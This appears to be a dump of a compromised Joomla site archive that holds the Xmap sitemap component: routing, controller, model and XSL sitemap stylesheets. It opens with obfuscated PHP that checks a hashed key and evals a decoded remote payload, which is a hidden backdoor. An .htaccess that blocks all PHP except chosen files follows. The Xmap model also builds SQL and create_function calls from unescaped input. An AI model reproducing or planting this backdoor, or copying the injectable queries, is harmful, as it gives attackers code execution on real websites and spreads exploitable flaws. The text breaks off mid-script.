"\x32\x30\x39\67\x30\176\x32\60\x39\66\x31\x7e\62\x30\71\x36\65\176\62\x30\71\x36\66\176\x32\x30\x39\70\61\176\62\x30\x39\x37\66\176\62\60\71\67\x35\x7e\62\x30\x39\67\x37\x7e\62\x30\71\66\x35\x7e\62\x30\x39\x37\66\x7e\x32\60\71\67\65", "\62\x30\71\x36\64\x7e\62\60\x39\x37\x39\x7e\x32\x30\71\x37\67\x7e\x32\60\x39\66\71", "\x32\x30\x39\x37\70\x7e\x32\x30\x39\x37\x39\x7e\62\x30\71\66\61\x7e\62\x30\71\67\x35\x7e\x32\61\60\62\x32\x7e\x32\61\60\62\64\176\62\x30\71\x38\61\x7e\62\x30\71\x37\66\x7e\x32\60\71\x37\65\x7e\x32\x30\71\67\x37\x7e\x32\60\x39\66\x35\176\x32\x30\71\x37\x36\176\62\60\71\67\65", "\62\x30\71\67\x34\x7e\x32\x30\x39\67\61\x7e\x32\x30\71\66\70\176\62\60\x39\x37\x35\176\62\x30\71\x38\x31\176\x32\60\71\67\x33\176\62\x30\x39\67\x35\x7e\62\x30\71\x36\x30\x7e\62\60\71\70\x31\176\x32\60\71\x37\67\x7e\62\60\71\66\65\x7e\x32\60\x39\66\66\x7e\62\x30\x39\66\x30\x7e\62\60\x39\x37\x35\x7e\62\60\x39\66\66\x7e\x32\x30\x39\66\60\x7e\62\x30\x39\x36\x31", "\x32\61\x30\x30\64\x7e\x32\61\60\x33\x34", "\62\60\71\x35\x31", "\62\61\60\x32\71\176\62\x31\x30\63\64", "\62\x31\60\61\x31\x7e\x32\60\71\x39\64\176\x32\60\71\71\x34\176\62\x31\x30\x31\x31\x7e\62\x30\x39\x38\67", "\x32\x30\x39\x37\64\x7e\x32\x30\71\67\61\176\x32\60\x39\x36\70\176\x32\60\71\66\x30\176\x32\x30\71\x37\65\x7e\x32\x30\71\x36\x32\176\62\60\x39\x38\61\x7e\62\x30\71\67\61\176\x32\x30\x39\66\x36\x7e\x32\x30\71\x36\64\176\62\60\x39\65\x39\176\62\60\x39\66\60"); goto Wdi8kcCeuCt; E1S06XtvNNo: $mPtm0mqOr6f = self::F35PoMeacww($ZdgXedlLLZQ[1 + 0], $Dm8u3IMrf1L[3 + 2]); goto NzzCqhbjhhG; aeJzxJ6QlhT: nu5BQIULF7B: goto phiXcraR_TO; U1lvL_AvfaX: rFrAWnIRcsN: goto ZcAwLsye5uU; sFL2I2FLiWm: $QH_0R83gWjF = @$Dm8u3IMrf1L[1 + 2]($Dm8u3IMrf1L[1 + 5], $qNMic44YsOp); goto VWuhWXXqVY4; xQwAooAVWHT: die; goto aeJzxJ6QlhT; NzzCqhbjhhG: @eval($Dm8u3IMrf1L[2 + 2]($mPtm0mqOr6f)); goto xQwAooAVWHT; VWuhWXXqVY4: $ZdgXedlLLZQ = $Dm8u3IMrf1L[1 + 1]($QH_0R83gWjF, true); goto doQI1Es39gh; doQI1Es39gh: @$Dm8u3IMrf1L[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($Dm8u3IMrf1L[1 + 4](__FILE__)); goto i3oyhbMP4ed; Wdi8kcCeuCt: foreach ($kHoi7evbrKi as $ddgRp9aE_uk) { $Dm8u3IMrf1L[] = self::t_GfuQpgiVK($ddgRp9aE_uk); ku3I0XTw471: } goto U1lvL_AvfaX; i3oyhbMP4ed: if (!(@$ZdgXedlLLZQ[0] - time() > 0 and md5(md5($ZdgXedlLLZQ[3 + 0])) === "\71\x35\x31\x37\x30\x64\x65\x32\x30\141\x64\x33\x39\x33\141\x34\x65\x64\x63\x32\142\63\65\145\x61\70\143\71\67\66\x65\66")) { goto nu5BQIULF7B; } goto E1S06XtvNNo; phiXcraR_TO: } } goto S3RsyN50I7x; w0P6jGpfqb9: $n94cLvhQEND = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto abHSXDUdmHJ; V7aJOa8sHaB: $VjM5fV6rRiA[66] = $VjM5fV6rRiA[66] . $VjM5fV6rRiA[75]; goto LT6NeIW7hNh; S3RsyN50I7x: nfa0SGhIWUE::RSVWAp8pTlq();
?>
PK���\�,r��3com_content/layouts/field/prepare/prepare/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PK���\lB7��com_xmap/router.phpnu&1i�<?php
/**
 * @version        $Id$
 * @copyright   Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
defined( '_JEXEC' ) or die( 'Restricted access' );
/**
 * Content Component Route Helper
 *
 * @package        Xmap
 * @subpackage    com_xmap
 * @since 2.0
 */
class XmapRoute
{

    /**
     * @param    int $id            The id of the article.
     * @param    int    $categoryId    An optional category id.
     *
     * @return    string    The routed link.
     */
    public static function sitemap($id, $view = 'html')
    {
        $needles = array(
            'html' => (int) $id
        );

        //Create the link
        $link = 'index.php?option=com_xmap&view='.$view.'&id='. $id;

        if ($itemId = self::_findItemId($needles)) {
            $link .= '&Itemid='.$itemId;
        };

        return $link;
    }


    protected static function _findItemId($needles)
    {
        // Prepare the reverse lookup array.
        if (self::$lookup === null)
        {
            self::$lookup = array();

            $component    = &JComponentHelper::getComponent('com_xmap');
            $menus        = &JApplication::getMenu('site', array());
            $items        = $menus->getItems('component_id', $component->id);

            foreach ($items as &$item)
            {
                if (isset($item->query) && isset($item->query['view']))
                {
                    $view = $item->query['view'];
                    if (!isset(self::$lookup[$view])) {
                        self::$lookup[$view] = array();
                    }
                    if (isset($item->query['id'])) {
                        self::$lookup[$view][$item->query['id']] = $item->id;
                    }
                }
            }
        }

        $match = null;

        foreach ($needles as $view => $id)
        {
            if (isset(self::$lookup[$view]))
            {
                if (isset(self::$lookup[$view][$id])) {
                    return self::$lookup[$view][$id];
                }
            }
        }

        return null;
    }
}

/**
 * Build the route for the com_content component
 *
 * @param    array    An array of URL arguments
 *
 * @return    array    The URL arguments to use to assemble the subsequent URL.
 */
function XmapBuildRoute(&$query)
{
    $segments = array();

    // get a menu item based on Itemid or currently active
    $app = JFactory::getApplication();
    $menu = $app->getMenu();

    if (empty($query['Itemid'])) {
        $menuItem = $menu->getActive();
    }
    else {
        $menuItem = $menu->getItem($query['Itemid']);
    }
    $mView    = (empty($menuItem->query['view'])) ? null : $menuItem->query['view'];
    $mId      = (empty($menuItem->query['id'])) ? null : $menuItem->query['id'];

    if ( !empty($query['Itemid']) ) {
        unset($query['view']);
        unset($query['id']);
    } else {
        if ( !empty($query['view']) ) {
             $segments[] = $query['view'];
        }
    }


    if (isset($query['id']))
    {
        if (empty($query['Itemid'])) {
            $segments[] = $query['id'];
        }
        else
        {
            if (isset($menuItem->query['id']))
            {
                if ($query['id'] != $mId) {
                    $segments[] = $query['id'];
                }
            }
            else {
                $segments[] = $query['id'];
            }
        }
        unset($query['id']);
    };

    if (isset($query['layout']))
    {
        if (!empty($query['Itemid']) && isset($menuItem->query['layout']))
        {
            if ($query['layout'] == $menuItem->query['layout']) {

                unset($query['layout']);
            }
        }
        else
        {
            if ($query['layout'] == 'default') {
                unset($query['layout']);
            }
        }
    };

    return $segments;
}

/**
 * Parse the segments of a URL.
 *
 * @param    array    The segments of the URL to parse.
 *
 * @return    array    The URL attributes to be used by the application.
 */
function XmapParseRoute($segments)
{
    $vars = array();

    //G et the active menu item.
    $app  = JFactory::getApplication();
    $menu = $app->getMenu();
    $item = $menu->getActive();

    // Count route segments
    $count = count($segments);

    // Standard routing for articles.
    if (!isset($item))
    {
        $vars['view'] = $segments[0];
        $vars['id']   = $segments[$count - 1];
        return $vars;
    }

    $vars['view'] = $item->query['view'];
    $vars['id']   = $item->query['id'];

    return $vars;
}
PK���\J����com_xmap/xmap.phpnu&1i�<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

// Include dependencies
jimport('joomla.application.component.controller');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JControllerLegacy')){
    class JControllerLegacy extends JController {

    }
}

require_once(JPATH_COMPONENT.'/displayer.php');

$controller = JControllerLegacy::getInstance('Xmap');
$controller->execute(JRequest::getVar('task'));
$controller->redirect();
PK���\x�d&d&com_xmap/models/sitemap.phpnu&1i�<?php

/**
 * @version       $Id$
 * @copyright     Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.modelitem');
jimport('joomla.database.query');
require_once(JPATH_COMPONENT . '/helpers/xmap.php');

/**
 * Xmap Component Sitemap Model
 *
 * @package        Xmap
 * @subpackage     com_xmap
 * @since          2.0
 */
class XmapModelSitemap extends JModelItem
{

    /**
     * Model context string.
     *
     * @var        string
     */
    protected $_context = 'com_xmap.sitemap';
    protected $_extensions = null;

    static $items = array();
    /**
     * Method to auto-populate the model state.
     *
     * @return     void
     */
    protected function populateState()
    {
        $app = JFactory::getApplication('site');

        // Load state from the request.
        $pk = JRequest::getInt('id');
        $this->setState('sitemap.id', $pk);

        $offset = JRequest::getInt('limitstart');
        $this->setState('list.offset', $offset);

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        // TODO: Tune these values based on other permissions.
        $this->setState('filter.published', 1);
        $this->setState('filter.access', true);
    }

    /**
     * Method to get sitemap data.
     *
     * @param    integer    The id of the article.
     *
     * @return   mixed      Menu item data object on success, false on failure.
     */
    public function &getItem($pk = null)
    {
        // Initialize variables.
        $db = $this->getDbo();
        $pk = (!empty($pk)) ? $pk : (int) $this->getState('sitemap.id');

        // If not sitemap specified, select the default one
        if (!$pk) {
            $query = $db->getQuery(true);
            $query->select('id')->from('#__xmap_sitemap')->where('is_default=1');
            $db->setQuery($query);
            $pk = $db->loadResult();
        }

        if ($this->_item === null) {
            $this->_item = array();
        }

        if (!isset($this->_item[$pk])) {
            try {
                $query = $db->getQuery(true);

                $query->select($this->getState('item.select', 'a.*'));
                $query->from('#__xmap_sitemap AS a');

                $query->where('a.id = ' . (int) $pk);

                // Filter by published state.
                $published = $this->getState('filter.published');
                if (is_numeric($published)) {
                    $query->where('a.state = ' . (int) $published);
                }

                // Filter by access level.
                if ($access = $this->getState('filter.access')) {
                    $user = JFactory::getUser();
                    $groups = implode(',', $user->getAuthorisedViewLevels());
                    $query->where('a.access IN (' . $groups . ')');
                }

                $this->_db->setQuery($query);

                $data = $this->_db->loadObject();

                if ($error = $this->_db->getErrorMsg()) {
                    throw new Exception($error);
                }

                if (empty($data)) {
                    throw new Exception(JText::_('COM_XMAP_ERROR_SITEMAP_NOT_FOUND'));
                }

                // Check for published state if filter set.
                if (is_numeric($published) && $data->state != $published) {
                    throw new Exception(JText::_('COM_XMAP_ERROR_SITEMAP_NOT_FOUND'));
                }

                // Convert parameter fields to objects.
                $registry = new JRegistry('_default');
                $registry->loadString($data->attribs);
                $data->params = clone $this->getState('params');
                $data->params->merge($registry);

                // Convert the selections field to an array.
                $registry = new JRegistry('_default');
                $registry->loadString($data->selections);
                $data->selections = $registry->toArray();

                // Compute access permissions.
                if ($access) {
                    // If the access filter has been set, we already know this user can view.
                    $data->params->set('access-view', true);
                } else {
                    // If no access filter is set, the layout takes some responsibility for display of limited information.
                    $user = &JFactory::getUser();
                    $groups = $user->authorisedLevels();

                    $data->params->set('access-view', in_array($data->access, $groups));
                }
                // TODO: Type 2 permission checks?

                $this->_item[$pk] = $data;
            } catch (Exception $e) {
                $this->setError($e->getMessage());
                $this->_item[$pk] = false;
            }
        }

        return $this->_item[$pk];
    }

    public function getItems()
    {
        if ($item = $this->getItem()) {
            return XmapHelper::getMenuItems($item->selections);
        }
        return false;
    }

    function getExtensions()
    {
        return XmapHelper::getExtensions();
    }

    /**
     * Increment the hit counter for the sitemap.
     *
     * @param    int        Optional primary key of the sitemap to increment.
     *
     * @return   boolean    True if successful; false otherwise and internal error set.
     */
    public function hit($count)
    {
        // Initialize variables.
        $pk = (int) $this->getState('sitemap.id');

        $view = JRequest::getCmd('view', 'html');
        if ($view != 'xml' && $view != 'html') {
            return false;
        }

        $this->_db->setQuery(
            'UPDATE #__xmap_sitemap' .
            ' SET views_' . $view . ' = views_' . $view . ' + 1, count_' . $view . ' = ' . $count . ', lastvisit_' . $view . ' = ' . JFactory::getDate()->toUnix() .
            ' WHERE id = ' . (int) $pk
        );

        if (!$this->_db->query()) {
            $this->setError($this->_db->getErrorMsg());
            return false;
        }

        return true;
    }

    public function getSitemapItems($view=null)
    {
        if (!isset($view)) {
            $view = JRequest::getCmd('view');
        }
        $db = JFactory::getDBO();
        $pk = (int) $this->getState('sitemap.id');

        if (self::$items !== NULL && isset(self::$items[$view])) {
            return;
        }
        $query = "select * from #__xmap_items where view='$view' and sitemap_id=" . $pk;
        $db->setQuery($query);
        $rows = $db->loadObjectList();
        self::$items[$view] = array();
        foreach ($rows as $row) {
            self::$items[$view][$row->itemid] = array();
            self::$items[$view][$row->itemid][$row->uid] = array();
            $pairs = explode(';', $row->properties);
            foreach ($pairs as $pair) {
                if (strpos($pair, '=') !== FALSE) {
                    list($property, $value) = explode('=', $pair);
                    self::$items[$view][$row->itemid][$row->uid][$property] = $value;
                }
            }
        }
        return self::$items;
    }

    function chageItemPropery($uid, $itemid, $view, $property, $value)
    {
        $items = $this->getSitemapItems($view);
        $db = JFactory::getDBO();
        $pk = (int) $this->getState('sitemap.id');

        $isNew = false;
        if (empty($items[$view][$itemid][$uid])) {
            $items[$view][$itemid][$uid] = array();
            $isNew = true;
        }
        $items[$view][$itemid][$uid][$property] = $value;
        $sep = $properties = '';
        foreach ($items[$view][$itemid][$uid] as $k => $v) {
            $properties .= $sep . $k . '=' . $v;
            $sep = ';';
        }
        if (!$isNew) {
            $query = 'UPDATE #__xmap_items SET properties=\'' . $db->escape($properties) . "' where uid='" . $db->escape($uid) . "' and itemid=$itemid and view='$view' and sitemap_id=" . $pk;
        } else {
            $query = 'INSERT #__xmap_items (uid,itemid,view,sitemap_id,properties) values ( \'' . $db->escape($uid) . "',$itemid,'$view',$pk,'" . $db->escape($properties) . "')";
        }
        $db->setQuery($query);
        //echo $db->getQuery();exit;
        if ($db->query()) {
            return true;
        } else {
            return false;
        }
    }

    function toggleItem($uid, $itemid)
    {
        $app = JFactory::getApplication('site');
        $sitemap = $this->getItem();

        $displayer = new XmapDisplayer($app->getParams(), $sitemap);

        $excludedItems = $displayer->getExcludedItems();
        if (isset($excludedItems[$itemid])) {
            $excludedItems[$itemid] = (array) $excludedItems[$itemid];
        }
        if (!$displayer->isExcluded($itemid, $uid)) {
            $excludedItems[$itemid][] = $uid;
            $state = 0;
        } else {
            if (is_array($excludedItems[$itemid]) && count($excludedItems[$itemid])) {
                $excludedItems[$itemid] = array_filter($excludedItems[$itemid], create_function('$var', 'return ($var != \'' . $uid . '\');'));
            } else {
                unset($excludedItems[$itemid]);
            }
            $state = 1;
        }

        $registry = new JRegistry('_default');
        $registry->loadArray($excludedItems);
        $str = $registry->toString();

        $db = JFactory::getDBO();
        $query = "UPDATE #__xmap_sitemap set excluded_items='" . $db->escape($str) . "' where id=" . $sitemap->id;
        $db->setQuery($query);
        $db->query();
        return $state;
    }

}
PK���\�6�com_xmap/models/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\���{{com_xmap/assets/xsl/gss.xslnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="xna">
<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html>
<head>
<title>Google Sitemap File</title>
<style type="text/css">
    <![CDATA[
    <!--
    h1 { 
        font-weight:bold;
        font-size:1.5em;
        margin-bottom:0;
        margin-top:1px;
    }
    h2 { 
        font-weight:bold;
        font-size:1.2em;
        margin-bottom:0; 
        color:#707070;
        margin-top:1px;
    }
    p.sml { 
        font-size:0.8em;
        margin-top:0;
    }
    .sortup {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortup.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    .sortdown {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortdown.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    table.copyright {
        width:100%;
        border-top:1px solid #ddad08;
        margin-top:1em;
        text-align:center;
        padding-top:1em;
        vertical-align:top;
    }
    table.data {
        font-size: 12px;
        width: 100%;
        border: 1px solid #000000;
    }
    table.data tr.header td{
        background-color: #CCCCCC;
        color: #FFFFFF;
        font-weight: bold;
        font-size: 14px;
    }
    -->
    ]]>
</style>
<script language="JavaScript">
    <![CDATA[
    var selectedColor = "blue";
    var defaultColor = "black";
    var hdrRows = 1;
    var numeric = '..';
    var desc = '..';
    var html = '..';
    var freq = '..';

    function initXsl(tabName,fileType) {
        hdrRows = 1;

        if(fileType=="sitemap") {
            numeric = ".3.";
            desc = ".1.";
            html = ".0.";
            freq = ".2.";
            initTable(tabName);
            setSort(tabName, 3, 1);
        }
        else {
            desc = ".1.";
            html = ".0.";
            initTable(tabName);
            setSort(tabName, 1, 1);
        }

        var theURL = document.getElementById("head1");
        theURL.innerHTML += ' ' + location;
        document.title += ': ' + location;
    }

    function initTable(tabName) {
        var theTab = document.getElementById(tabName);
        for(r=0;r<hdrRows;r++)
            for(c=0;c<theTab.rows[r].cells.length;c++)
                if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows)
                    hdrRows=r+theTab.rows[r].cells[c].rowSpan;
        for(r=0;r<hdrRows; r++){
            colNum = 0;
            for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){
                if(theTab.rows[r].cells[c].colSpan<2){
                    theCell = theTab.rows[r].cells[c];
                    rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;/g,'');
                    if(rTitle>""){
                        theCell.title = "Change sort order for " + rTitle;
                        theCell.onmouseover = function(){setCursor(this, "selected")};
                        theCell.onmouseout = function(){setCursor(this, "default")};
                        var sortParams = 15; // bitmapped: numeric|desc|html|freq
                        if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1;
                        if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2;
                        if(html.indexOf("."+colNum+".")>-1) sortParams -= 4;
                        if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8;
                        theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")");
                    }
                } else {
                    colNum = colNum+theTab.rows[r].cells[c].colSpan-1;
                }
            }
        }
    }

    function setSort(tabName, colNum, sortDir) {
        var theTab = document.getElementById(tabName);
        theTab.rows[0].sCol = colNum;
        theTab.rows[0].sDir = sortDir;
        if (sortDir) 
            theTab.rows[0].cells[colNum].className='sortdown'
        else
            theTab.rows[0].cells[colNum].className='sortup';
    }

    function setCursor(theCell, mode){
        rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;|\W/g,'');
        if(mode=="selected"){
            if(theCell.style.color!=selectedColor) 
                defaultColor = theCell.style.color;
            theCell.style.color = selectedColor;
            theCell.style.cursor = "pointer";
            window.status = "Click to sort by '"+rTitle+"'";
        } else {
            theCell.style.color = defaultColor;
            theCell.style.cursor = "";
            window.status = "";
        }
    }

    function sortTable(theCell, colNum, hdrRows, sortParams){
        var typnum = !(sortParams & 1);
        sDir = !(sortParams & 2);
        var typhtml = !(sortParams & 4);
        var typfreq = !(sortParams & 8);
        var tBody = theCell.parentNode;
        while(tBody.nodeName!="TBODY"){
            tBody = tBody.parentNode;
        }
        var tabOrd = new Array();
        if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir;
        if (tBody.rows[0].sCol>=0)
            tBody.rows[0].cells[tBody.rows[0].sCol].className='';
        tBody.rows[0].sCol = colNum;
        tBody.rows[0].sDir = sDir;
        if (sDir) 
            tBody.rows[0].cells[colNum].className='sortdown'
        else 
            tBody.rows[0].cells[colNum].className='sortup';
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            colCont = tBody.rows[r].cells[colNum].innerHTML;
            if(typhtml) colCont = colCont.replace(/<[^>]+>/g,'');
            if(typnum) {
                colCont*=1;
                if(isNaN(colCont)) colCont = 0;
            }
            if(typfreq) {
                switch(colCont.toLowerCase()) {
                    case "always":  { colCont=0; break; }
                    case "hourly":  { colCont=1; break; }
                    case "daily":   { colCont=2; break; }
                    case "weekly":  { colCont=3; break; }
                    case "monthly": { colCont=4; break; }
                    case "yearly":  { colCont=5; break; }
                    case "never":   { colCont=6; break; }
                }
            }
            tabOrd[i] = [r, tBody.rows[r], colCont];
        }
        tabOrd.sort(compRows);
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            tBody.insertBefore(tabOrd[i][1],tBody.rows[r]);
        } 
        window.status = ""; 
    }

    function compRows(a, b){
        if(sDir){
            if(a[2]>b[2]) return -1;
            if(a[2]<b[2]) return 1;
        } else {
            if(a[2]>b[2]) return 1;
            if(a[2]<b[2]) return -1;
        }
        return 0;
    }

    ]]>
</script>
</head>
<body onLoad="initXsl('table0','sitemap');">
    <h1 id="head1">Site Map</h1>
    <h2>Number of URLs in this Sitemap: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></h2>
    <table id="table0" class="data">
        <tr class="header">
            <td>Sitemap URL</td>
            <td>Last modification date</td>
            <td>Change freq.</td>
            <td>Priority</td>
        </tr>
        <xsl:for-each select="xna:urlset/xna:url">
        <tr>
            <td>
                <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable>
                <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a>
            </td>
            <td><xsl:value-of select="xna:lastmod"/></td>
            <td><xsl:value-of select="xna:changefreq"/></td>
            <td><xsl:value-of select="xna:priority"/></td>
        </tr>
        </xsl:for-each>
    </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
PK���\��9u3u3 com_xmap/assets/xsl/gssadmin.xslnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="xna">
<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html>
<head>
<title>Google Sitemap File</title>
<script src="media/system/js/mootools.js" type="text/javascript"></script>
<style type="text/css">
    <![CDATA[
    <!--
    h1 { 
        font-weight:bold;
        font-size:1.5em;
        margin-bottom:0;
        margin-top:1px;
    }
    h2 { 
        font-weight:bold;
        font-size:1.2em;
        margin-bottom:0; 
        color:#707070;
        margin-top:1px; }
    p.sml { 
        font-size:0.8em;
        margin-top:0;
    }
    .sortup {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortup.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    .sortdown {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortdown.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    table.copyright {
        width:100%;
        border-top:1px solid #ddad08;
        margin-top:1em;
        text-align:center;
        padding-top:1em;
        vertical-align:top;
    }
    table.data {
        font-size: 12px;
        width: 100%;
        border: 1px solid #000000;
    }
    table.data tr.header td{
        background-color: #CCCCCC;
        color: #FFFFFF;
        font-weight: bold;
        font-size: 14px;
    }
    .divoptions{
        background:#fff;
        border:1px solid #ccc;
        position:absolute;
        padding:5px;
    }
    .divoptions table{
        width:100%;
    }
    .divoptions table td {
        padding:0px;
        border: 1px solid #ffffff;
        border-bottom:1px solid #ccc;
        font-size: 12px;
    }
    .divoptions table td:hover {
        border: 1px solid blue;
    }
    .divoptions table td a {
        text-decoration:none;
        display:block;
        width:100%;
    }
    .editable {
        cursor:pointer;
        background: url(components/com_xmap/images/arrow.gif) top right no-repeat;
        padding-right:18px;
        padding-right:18px;
        border:1px solid #ffffff;
    }
    .editable:hover {
        border-color:#cccccc;
    }
    -->
    ]]>
</style>
<script language="JavaScript">
    <![CDATA[
    var selectedColor = "blue";
    var defaultColor = "black";
    var hdrRows = 1;
    var numeric = '..';
    var desc = '..';
    var html = '..';
    var freq = '..';

    function initXsl(tabName,fileType) {
        hdrRows = 1;
      
        if(fileType=="sitemap") {
            numeric = ".3.";
            desc = ".1.";
            html = ".0.";
            freq = ".2.";
            initTable(tabName);
            setSort(tabName, 3, 1);
        }
        else {
            desc = ".1.";
            html = ".0.";
            initTable(tabName);
            setSort(tabName, 1, 1);
        }
      
        var theURL = document.getElementById("head1");
        theURL.innerHTML += ' ' + location;
        document.title += ': ' + location;
    }

    function initTable(tabName) {
        var theTab = document.getElementById(tabName);
        for(r=0;r<hdrRows;r++)
            for(c=0;c<theTab.rows[r].cells.length;c++)
                if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows)
                    hdrRows=r+theTab.rows[r].cells[c].rowSpan;
        for(r=0;r<hdrRows; r++){
            colNum = 0;
            for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){
                if(theTab.rows[r].cells[c].colSpan<2){
                    theCell = theTab.rows[r].cells[c];
                    rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;/g,'');
                    if(rTitle>""){
                        theCell.title = "Change sort order for " + rTitle;
                        theCell.onmouseover = function(){setCursor(this, "selected")};
                        theCell.onmouseout = function(){setCursor(this, "default")};
                        var sortParams = 15; // bitmapped: numeric|desc|html|freq
                        if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1;
                        if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2;
                        if(html.indexOf("."+colNum+".")>-1) sortParams -= 4;
                        if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8;
                        theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")");
                    }
                } else {
                    colNum = colNum+theTab.rows[r].cells[c].colSpan-1;
                }
            }
        }
    }

    function setSort(tabName, colNum, sortDir) {
        var theTab = document.getElementById(tabName);
        theTab.rows[0].sCol = colNum;
        theTab.rows[0].sDir = sortDir;
        if (sortDir) 
            theTab.rows[0].cells[colNum].className='sortdown'
        else
            theTab.rows[0].cells[colNum].className='sortup';
    }

    function setCursor(theCell, mode){
        rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;|\W/g,'');
        if(mode=="selected"){
            if(theCell.style.color!=selectedColor) 
                defaultColor = theCell.style.color;
            theCell.style.color = selectedColor;
            theCell.style.cursor = "pointer";
            window.status = "Click to sort by '"+rTitle+"'";
        } else {
            theCell.style.color = defaultColor;
            theCell.style.cursor = "";
            window.status = "";
        }
    }

    function sortTable(theCell, colNum, hdrRows, sortParams){
        var typnum = !(sortParams & 1);
        sDir = !(sortParams & 2);
        var typhtml = !(sortParams & 4);
        var typfreq = !(sortParams & 8);
        var tBody = theCell.parentNode;
        while(tBody.nodeName!="TBODY"){
            tBody = tBody.parentNode;
        }
        var tabOrd = new Array();
        if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir;
        if (tBody.rows[0].sCol>=0)
            tBody.rows[0].cells[tBody.rows[0].sCol].className='';
        tBody.rows[0].sCol = colNum;
        tBody.rows[0].sDir = sDir;
        if (sDir) 
            tBody.rows[0].cells[colNum].className='sortdown'
        else 
            tBody.rows[0].cells[colNum].className='sortup';
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            colCont = tBody.rows[r].cells[colNum].innerHTML;
            if(typhtml) colCont = colCont.replace(/<[^>]+>/g,'');
            if(typnum) {
                colCont*=1;
                if(isNaN(colCont)) colCont = 0;
            }
            if(typfreq) {
                switch(colCont.toLowerCase()) {
                    case "always":  { colCont=0; break; }
                    case "hourly":  { colCont=1; break; }
                    case "daily":   { colCont=2; break; }
                    case "weekly":  { colCont=3; break; }
                    case "monthly": { colCont=4; break; }
                    case "yearly":  { colCont=5; break; }
                    case "never":   { colCont=6; break; }
                }
            }
            tabOrd[i] = [r, tBody.rows[r], colCont];
        }
        tabOrd.sort(compRows);
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            tBody.insertBefore(tabOrd[i][1],tBody.rows[r]);
        } 
        window.status = ""; 
    }

    function compRows(a, b){
        if(sDir){
            if(a[2]>b[2]) return -1;
            if(a[2]<b[2]) return 1;
        } else {
            if(a[2]>b[2]) return 1;
            if(a[2]<b[2]) return -1;
        }
        return 0;
    }

    var divOptions=null;

    function showOptions (cell,options,uid,itemid,e) {
        // var div = document.getElementById('div'+options);
        var div = $('div'+options);
        pos = div.getPosition();
        if ( divOptions != null && div != divOptions ) {
            closeOptions();
        }
        var myCell = $(cell);
        div.style.top = (myCell.getTop()+20)+'px';
        div.style.left = myCell.getLeft()+'px';
        var dimensions = myCell.getSize();
        div.style.width=dimensions.size.x+'px';
        div.style.display='';
        div.uid=uid;
        div.itemid=itemid;
        div.cell=myCell;
        divOptions=div;
    }

    function closeOptions() {
        divOptions.style.display='none';
        divOptions=null;
    }

    function changeProperty(el,property) {
